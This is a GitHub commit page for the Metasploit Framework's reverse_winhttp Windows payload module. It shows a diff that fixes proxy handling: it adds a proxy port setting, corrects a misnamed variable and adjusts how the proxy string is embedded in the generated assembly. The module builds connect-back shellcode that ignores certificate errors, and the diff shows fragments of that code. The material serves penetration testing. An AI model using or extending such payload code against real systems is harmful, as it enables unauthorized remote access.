Skip to content

Commit cbf06fc

Browse files
committed
Tweak reverse_winhttp to fix small issues
Now working fine with proxy settings.
1 parent 679bb46 commit cbf06fc

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@ def generate(opts={})
3737
conf[:exitfunk] = datastore['EXITFUNC']
3838
conf[:verify_cert_hash] = opts[:verify_cert_hash]
3939
conf[:proxy_host] = datastore['PayloadProxyHost']
40+
conf[:proxy_port] = datastore['PayloadProxyPort']
4041
conf[:proxy_user] = datastore['PayloadProxyUser']
4142
conf[:proxy_pass] = datastore['PayloadProxyPass']
4243
conf[:proxy_type] = datastore['PayloadProxyType']
@@ -157,7 +158,8 @@ def asm_reverse_winhttp(opts={})
157158
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
158159
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
159160
else
160-
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
161+
http_open_flags = (
162+
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
161163
end
162164

163165
asm = %Q^
@@ -194,7 +196,7 @@ def asm_reverse_winhttp(opts={})
194196
push ebx ; Flags
195197
push esp ; ProxyBypass ("")
196198
call get_proxy_server
197-
db "#{proxy_info}", 0x00
199+
db #{proxy_info}
198200
get_proxy_server:
199201
; ProxyName (via call)
200202
push 3 ; AccessType (NAMED_PROXY= 3)
@@ -245,7 +247,7 @@ def asm_reverse_winhttp(opts={})
245247
push ebx ; pAuthParams (NULL)
246248
^
247249

248-
if proxy_Pass
250+
if proxy_pass
249251
asm << %Q^
250252
call got_proxy_pass ; put proxy_pass on the stack
251253
proxy_pass:
@@ -255,7 +257,7 @@ def asm_reverse_winhttp(opts={})
255257
^
256258
else
257259
asm << %Q^
258-
push ebx ; pAuthParams (NULL)
260+
push ebx ; pwszPassword (NULL)
259261
^
260262
end
261263

0 commit comments

Comments
 (0)